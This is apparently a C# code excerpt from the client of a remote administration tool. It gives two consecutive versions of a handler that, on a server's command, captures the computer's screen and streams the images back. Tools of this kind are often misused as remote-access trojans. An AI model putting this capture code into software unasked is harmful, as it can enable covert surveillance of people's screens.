public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client)
{
if (lastDesktopScreenshot == null)
{
lastDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number);
byte[] desktop = Helper.Helper.CImgToByte(lastDesktopScreenshot, System.Drawing.Imaging.ImageFormat.Jpeg);
new Packets.ClientPackets.DesktopResponse(desktop).Execute(client);
desktop = null;
}
else
{
Bitmap currentDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number);
Bitmap changesScreenshot = Helper.Helper.GetDiffDesktop(lastDesktopScreenshot, currentDesktopScreenshot);
lastDesktopScreenshot = currentDesktopScreenshot;
byte[] desktop = Helper.Helper.CImgToByte(changesScreenshot, System.Drawing.Imaging.ImageFormat.Png);
new Packets.ClientPackets.DesktopResponse(desktop).Execute(client);
desktop = null;
changesScreenshot = null;
currentDesktopScreenshot = null;
}
}
public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client)
{
if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor)
{
StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor);
}
LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Monitor);
BitmapData bmpdata = LastDesktopScreenshot.LockBits(
new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), ImageLockMode.ReadWrite,
LastDesktopScreenshot.PixelFormat);
using (MemoryStream stream = new MemoryStream())
{
try
{
StreamCodec.CodeImage(bmpdata.Scan0,
new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height),
new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat,
stream);
new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
}
catch
{
new Packets.ClientPackets.DesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
StreamCodec = null;
}
}
LastDesktopScreenshot.UnlockBits(bmpdata);
LastDesktopScreenshot.Dispose();
}
